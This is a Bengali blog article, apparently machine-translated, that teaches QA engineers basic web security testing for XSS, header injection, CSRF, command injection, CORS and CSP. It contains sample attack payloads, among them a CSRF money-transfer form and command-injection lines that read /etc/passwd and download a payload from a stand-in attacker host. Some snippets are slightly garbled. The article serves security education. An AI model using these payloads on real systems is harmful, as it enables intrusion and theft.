এই নিবন্ধটি মৌলিক দুর্বলতা এবং পরীক্ষার কৌশলগুলি অন্বেষণ করে, আপনার ওয়েব অ্যাপ পেনটেস্টিং দক্ষতা বাড়াতে ব্যবহারিক অন্তর্দৃষ্টি প্রদান করে। নিবন্ধটি QA প্রকৌশলী এবং বিশ্লেষকদের জন্য নিবেদিত আমার পোস্টগুলির একটি সিরিজকে একত্রিত করে, যা মৌলিক সাইবার নিরাপত্তা দুর্বলতাগুলির একটি ব্যবহারিক অনুসন্ধান প্রদান করে। উদ্দেশ্য হল QA প্রকৌশলী/পরীক্ষক/বিশ্লেষকদের জ্ঞান দিয়ে ক্ষমতায়ন করা যা সফ্টওয়্যার QA এবং সাইবার নিরাপত্তার মধ্যে ব্যবধান পূরণ করে, ওয়েব অ্যাপ্লিকেশনগুলির অখণ্ডতা এবং নিরাপত্তা নিশ্চিত করার জন্য একীভূত পদ্ধতির উত্সাহ দেয়৷
এটি একটি চূড়ান্ত নির্দেশিকা নয়, তবে আমি সাইবার নিরাপত্তা ক্ষেত্রে আগ্রহী একজন QA প্রকৌশলী হিসেবে আমার অভিজ্ঞতা শেয়ার করতে চাই; আপনি যদি কিছু দিক গভীরভাবে শিখতে আগ্রহী হন তবে কিছু দরকারী লিঙ্ক সহ এটি বেশ ভাসা ভাসা তথ্য হবে।
একটি জটিল এবং সবচেয়ে সাধারণ দুর্বলতা হল XSS - https://owasp.org/www-community/attacks/xss/
আমি ক্ষেত্র এবং ফ্রন্টএন্ড ডেভ প্রযুক্তিতে বিস্তৃত জ্ঞান ছাড়াই XSS এর জন্য কীভাবে পরীক্ষা করতে হয় সে সম্পর্কে একটি সহজ পদ্ধতি এবং টিপস শেয়ার করব।
<script>alert('XSS');</script> (%0ejavascript:alert(/XSS/))
ইনপুট জমা দিন এবং দেখুন স্ক্রিপ্ট কার্যকর হয় কিনা।
যদি এটি করে, তাহলে অ্যাপ্লিকেশনটি XSS আক্রমণের জন্য ঝুঁকিপূর্ণ।
যদি স্ক্রিপ্টটি কার্যকর না হয়, তাহলে অন্যান্য HTML ট্যাগ যোগ করে ইনপুট পরিবর্তন করার চেষ্টা করুন, যেমন <img> বা <iframe>, এবং দেখুন যে সেগুলি পৃষ্ঠায় প্রতিফলিত হয় কিনা, যেমন (এই উদাহরণটি প্রায় সবসময় আমার জন্য কাজ করে)
<b>t</b>#`"/*—est
আপনি আপনার ওয়েব অ্যাপ ইউআরএল বা ব্যবহারকারীর নাম, আপলোড করা ফাইলের নাম ( https://github.com/cure53/H5SC ), অথবা যে কোনো টেক্সট যা আপনি পরিবর্তন করতে পারবেন এমন অ্যাপ পৃষ্ঠায় প্রদর্শিত হবে এমন প্রশ্নের প্যারামে একটি স্ক্রিপ্ট যোগ করতে পারেন .
ইনপুটগুলির সম্মুখ-প্রান্তের বৈধতা সম্পর্কে সচেতন হন। সর্বদা একটি সরাসরি অনুরোধ (পোস্টম্যান, বার্প বা অনুরূপ সরঞ্জাম ব্যবহার করে) ব্যবহার করে মান জমা দেওয়ার চেষ্টা করুন।
ফাজিং এবং পেলোডগুলির একটি তালিকা ব্যবহার করুন - যখন সম্ভব তখন এই পদ্ধতিটিকে স্বয়ংক্রিয় করুন বা এটির জন্য বিশেষ সরঞ্জামগুলি ব্যবহার করুন৷
টুলস সম্পর্কে বলতে গেলে, XSS আবিষ্কার করার জন্য, বিভিন্ন চেষ্টা করার জন্য, বিভিন্ন অ্যাপের সাথে একাধিকবার ফলাফলের তুলনা করার জন্য এবং আপনার সবচেয়ে পছন্দের একটি বেছে নেওয়ার জন্য সেগুলি প্রচুর আছে: https://linuxhint.com/free_xss_tools/ (আমি অনেক ব্যবহার করেছি OWASP ZAP এবং BurpSuite)।
ব্যক্তিগতভাবে, আমি এখান থেকে পেলোড এবং তথ্য ব্যবহার করতে পছন্দ করি - https://github.com/s0md3v/AwesomeXSS - একটি খুব দরকারী সম্পদ, আমার মতে।
XSS এবং পেলোড সম্পর্কে আরও বিশদ বিবরণের জন্য, আপনি নিম্নলিখিত সংস্থানগুলি খুঁজে পেতে পারেন:
এই দুর্বলতা তখন ঘটে যখন একজন আক্রমণকারী একটি ওয়েবসাইটের শিরোনামে দূষিত কোড ইনজেকশন করতে পারে, যা তাদেরকে অননুমোদিত ক্রিয়া সম্পাদন করতে বা সংবেদনশীল তথ্য অ্যাক্সেস করতে দেয়।
হেডার ইনজেকশন পরীক্ষা করতে, আপনি কয়েকটি ধাপ অনুসরণ করতে পারেন:
(%0d%0a OR \r\n)
উদাহরণস্বরূপ, একটি সেট-কুকি হেডার ইনজেক্ট করতে নিম্নলিখিত পেলোড ব্যবহার করা যেতে পারে:
User-Agent: Mozilla/5.0\r\nSet-Cookie: sessionid=111111 https:// yoursite. com?cookie=123%0D%0ASet-Cookie%3A%20TESTCOOKIE=hacked
আরেকটি উদাহরণ হল হোস্ট হেডার ইনজেকশন, যেখানে একজন আক্রমণকারী একই সার্ভারে অন্য ওয়েবসাইট বা সাবডোমেন অ্যাক্সেস করার জন্য হোস্ট হেডারকে ম্যানিপুলেট করতে পারে। উদাহরণ স্বরূপ:
Host: yoursite.com\r\n\r\nGET /admin HTTP/1.1\r\nHost: admin.yoursite.com
হেডার ইনজেকশন সম্পর্কে আরও জানতে, আপনি নিম্নলিখিত সংস্থানগুলি উল্লেখ করতে পারেন:
CSRF তখন ঘটে যখন একটি দূষিত ওয়েবসাইট ব্যবহারকারীকে একটি ভিন্ন ওয়েবসাইটে অভিনয় করতে প্ররোচিত করে যেখানে ব্যবহারকারী বর্তমানে লগ ইন করা আছে। এই ধরনের আক্রমণের ফলে ব্যবহারকারীর পক্ষ থেকে অননুমোদিত অ্যাকশন (যেকোনো POST অনুরোধ) করা হতে পারে।
CSRF দুর্বলতা পরীক্ষা করতে, সংক্ষেপে, আপনি নিম্নলিখিতগুলি করতে পারেন:
<html> <body onload="document.forms[0].submit()"> <form action="https:// yoursite .com /money_transfer" method="POST"> <input type="hidden" name="toAccount" value="attackerAccount"> <input type="hidden" name="amount" value="1000"> </form> </body> </html>
CSRF আক্রমণ প্রতিরোধ করতে, অনুরোধের উত্স যাচাই করতে অ্যান্টি-CSRF টোকেন বা একই-সাইট কুকি ব্যবহার করুন। এই টোকেনগুলি হল অনন্য মান যা সার্ভার দ্বারা তৈরি করা হয় এবং ফর্ম বা URL প্যারামিটারে অন্তর্ভুক্ত করা হয়। যখন ফর্মটি জমা দেওয়া হয়, সার্ভারটি টোকেনটি প্রত্যাশিত মানের সাথে মেলে কিনা তা পরীক্ষা করে এবং যদি না মেলে তবে অনুরোধটি প্রত্যাখ্যান করে। এখানে পাইথনের একটি উদাহরণ:
import requests # Get the CSRF token from the cookie def get_csrf_token(): cookie = requests.utils.dict_from_cookiejar(requests.cookies) return cookie.get('csrfToken') # Send an HTTP request with the CSRF token in the headers def send_http_request(url, data): csrf_token = get_csrf_token() headers = { 'Content-Type': 'application/json', 'X-CSRF-TOKEN': csrf_token } response = requests.post(url, headers=headers, data=data) return response
দরকারী সম্পদ:
আরসিই এবং কমান্ড ইনজেকশন দুর্বলতা দেখা দেয় যখন আক্রমণকারীরা একটি টার্গেট সিস্টেমে নির্বিচারে কোড বা OS কমান্ড চালাতে পারে। এই ধরনের আক্রমণের ফলে সিস্টেমের সম্পূর্ণ আপস এবং সংবেদনশীল ডেটাতে অননুমোদিত অ্যাক্সেস হতে পারে।
RCE এবং কমান্ড ইনজেকশন দুর্বলতা পরীক্ষা করতে, সংক্ষেপে, আপনি নিম্নলিখিতগুলি করতে পারেন:
; ls -la - list the contents of a directory cat /etc/passwd - show the password file wget https://myhackersite.evil/payload - download files with malicious code from a remote server ping -c 1 https://www.linkedin.com/redir/general-malware-page?url=myhackersite%2eevil%2ecom - ping the attacker's website 3
সমস্ত পেলোডের ফলে কিছু দৃশ্যমান আউটপুট হবে না। এই ধরনের ক্ষেত্রে, আপনাকে অন্যান্য পদ্ধতি ব্যবহার করতে হতে পারে, যেমন নেটওয়ার্ক ট্র্যাফিক পর্যবেক্ষণ করা বা লগ ফাইলগুলি পর্যালোচনা করা।
RCE এবং কমান্ড ইনজেকশন আক্রমণ প্রতিরোধ করতে, ব্যবহারকারীর ইনপুট যাচাই করতে হবে, এবং দূষিত অক্ষর বা কমান্ডগুলি সরাতে হবে বা স্যানিটাইজ করতে হবে।
আরও শেখার জন্য এখানে কিছু দরকারী সংস্থান রয়েছে:
এই ধরনের আক্রমণ ঘটে যখন আপনি ক্লায়েন্ট সাইড থেকে সার্ভার সাইডে প্রেরিত প্যারামগুলি পরিচালনা করেন, উদাহরণস্বরূপ, অননুমোদিত অ্যাক্সেস বা বিশেষাধিকার বৃদ্ধির দিকে নিয়ে যান।
এই ধরনের দুর্বলতা পরীক্ষা করতে, আপনি নিম্নলিখিতগুলি করতে পারেন:
ওয়েব প্যারামিটার টেম্পারিং আক্রমণ প্রতিরোধ করতে, ইনপুট বৈধতা এবং স্যানিটাইজেশন অত্যন্ত গুরুত্বপূর্ণ। নিশ্চিত করুন যে সমস্ত ইনপুট ডেটা সার্ভারের পাশে যাচাই করা হয়েছে এবং অ্যাপ্লিকেশনটি কোনও দূষিত ইনপুট প্রত্যাখ্যান করে। আমি বলব যে এই ধরনের দুর্বলতাগুলি একটি QA টিমের দ্বারা চিহ্নিত করা সর্বোত্তম কারণ QAগুলি অ্যাপ্লিকেশন/পণ্য এবং এর যুক্তি এবং প্যারামগুলি ইনফোসেক ইঞ্জিনিয়ারদের থেকে ভাল জানে যারা সাধারণত dev প্রক্রিয়ার সাথে জড়িত নয়৷
ওয়েব প্যারামিটার টেম্পারিং সম্পর্কে আরও জানতে সাহায্য করার জন্য এখানে কিছু অতিরিক্ত সংস্থান রয়েছে:
এটি একটি নিরাপত্তা ব্যবস্থা যা ওয়েব পৃষ্ঠাগুলিকে ওয়েব পৃষ্ঠাটি পরিবেশন করা ডোমেনের চেয়ে ভিন্ন ডোমেনে অনুরোধ করা থেকে সীমাবদ্ধ করে৷
আপনি নিম্নলিখিত কাজ করে পরীক্ষা করতে পারেন:
fetch('https://beapimysite.com') .then(response=>response.json()) .then(data=>{ console.log(data); })
access to fetch at 'https://beapimysite.com' from origin 'https://www. google.com' has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on the requested resource.
এই সহজ পদক্ষেপগুলি করুন:
Request from https://mysite.com to https://beapimysite.com: GET /api/data HTTP/1.1 Host: beapimysite.com Origin: https ://mysite.com Access-Control-Request-Method: GET Access-Control-Request-Headers: X-Requested-With
প্রতিক্রিয়া:
HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, OPTIONS Access-Control-Allow-Headers: X-Requested-With
CORS সম্পর্কে আরও তথ্যের জন্য, এখানে কিছু সহায়ক সংস্থান রয়েছে:
CSP হল এমন একটি মেকানিজম যা ওয়েব পৃষ্ঠাগুলিতে কোন বিষয়বস্তুর উৎসগুলিকে লোড করার অনুমতি দেওয়া হয়েছে তা নির্দিষ্ট করে XSS আক্রমণ প্রতিরোধ করতে সাহায্য করে৷ একটি CSP হেডার সেট ছাড়া, পৃষ্ঠায় ক্ষতিকারক স্ক্রিপ্ট ইনজেক্ট করা এবং ব্যবহারকারীর সংবেদনশীল ডেটা চুরি করা বা অন্যান্য ক্রিয়া সম্পাদন করা সম্ভাব্য।
CSP হেডার চেক করতে আপনি নিম্নলিখিতগুলি করতে পারেন:
document.cookie=TESTCOOKIE=XSS;
পৃষ্ঠায় একটি স্ক্রিপ্ট ইনজেক্ট করার চেষ্টা করুন এবং দেখুন এটি কার্যকর হয় কিনা। উদাহরণস্বরূপ, ব্রাউজার কনসোলে নিম্নলিখিত কোড ঢোকান:
var script = document.create; Element('script');script.src = 'http://dangeroussite.com/dolphin.js'; document.head.appendChild(script);
প্রতিক্রিয়া শিরোনামগুলিতে বিষয়বস্তু-নিরাপত্তা-নীতি শিরোনামটি সন্ধান করুন৷ যদি এই শিরোনামটি অনুপস্থিত থাকে, তাহলে এর মানে হল ওয়েব পৃষ্ঠাটিতে কোনো CSP হেডার সেট নেই।
ওয়েব অ্যাপ নিরাপত্তার ক্ষেত্রে CSP হেডার একটি গুরুত্বপূর্ণ বিষয়।
CSP সম্পর্কে আরও তথ্যের জন্য:
সাইবার সিকিউরিটি এবং সফ্টওয়্যার QA-এর মধ্যে সিম্বিওটিক সম্পর্ক সফ্টওয়্যার অ্যাপগুলির নিরাপত্তার ক্ষেত্রে গুরুত্বপূর্ণ৷ হুমকি মডেলিং পদ্ধতি এবং স্বয়ংক্রিয় ফাজ টেস্টিং কৌশলগুলির একীকরণের মাধ্যমে, QA প্রকৌশলীরা নিরাপত্তা দুর্বলতাগুলির প্রাথমিক সনাক্তকরণ এবং প্রশমনে উল্লেখযোগ্যভাবে অবদান রাখে। সাইবারসিকিউরিটি এবং QA টিমের মধ্যে সহযোগিতা সফ্টওয়্যার ডেভেলপমেন্টের জন্য একীভূত পদ্ধতির একটি অবিচ্ছেদ্য অংশ গঠন করে, QA-এর ভূমিকা কার্যকরী এবং ব্যবহারযোগ্যতা পরীক্ষার বাইরেও প্রসারিত যাতে সম্ভাব্য নিরাপত্তা ত্রুটিগুলির সক্রিয় সনাক্তকরণ এবং সংশোধন করা যায়। সাইবার নিরাপত্তা প্রচেষ্টায় QA-কে একটি কৌশলগত সম্পদ হিসেবে স্বীকৃতি দেওয়া গুরুত্বপূর্ণ, কারণ এটি শুধুমাত্র ডেটা সুরক্ষা বাড়ায় না বরং একটি কোম্পানির সুনাম, গ্রাহকের আস্থা এবং সামগ্রিক আর্থিক স্থিতিশীলতাও রক্ষা করে। QA পেশাদারদের প্রযুক্তিগত দক্ষতা, তাদের কঠোর পরীক্ষার অনুশীলনের সাথে, সাইবার হুমকির বিরুদ্ধে একটি শক্তিশালী প্রতিরক্ষা স্থাপন করে।
সর্বদা সুস্পষ্ট অনুমতি সহ এবং একটি নিয়ন্ত্রিত পরিবেশের মধ্যে অনুপ্রবেশ পরীক্ষা পরিচালনা করুন। এই নৈতিক দৃষ্টিভঙ্গি নিশ্চিত করে যে নিরাপত্তা মূল্যায়ন দায়িত্বশীল পরীক্ষার প্রোটোকলের সাথে সারিবদ্ধ করে, সিস্টেমের সাথে অসাবধানতাপূর্ণ আপস প্রতিরোধ করে এবং পরীক্ষা প্রক্রিয়া এবং সাইবার নিরাপত্তা কৌশল উভয়েরই অখণ্ডতা বজায় রাখে।
এই নিবন্ধটি QA ইঞ্জিনিয়ারদের জন্য ওয়েব অ্যাপ নিরাপত্তা পরীক্ষা, সংযোগ সফ্টওয়্যার QA এবং সাইবার নিরাপত্তা উন্নত করার জন্য ব্যবহারিক টিপস শেয়ার করে। যারা আরও জানতে চান তাদের জন্য অন্তর্দৃষ্টি এবং দরকারী লিঙ্ক সহ এটি একটি শিক্ষানবিস-বান্ধব গাইড৷
এছাড়াও এখানে প্রকাশিত.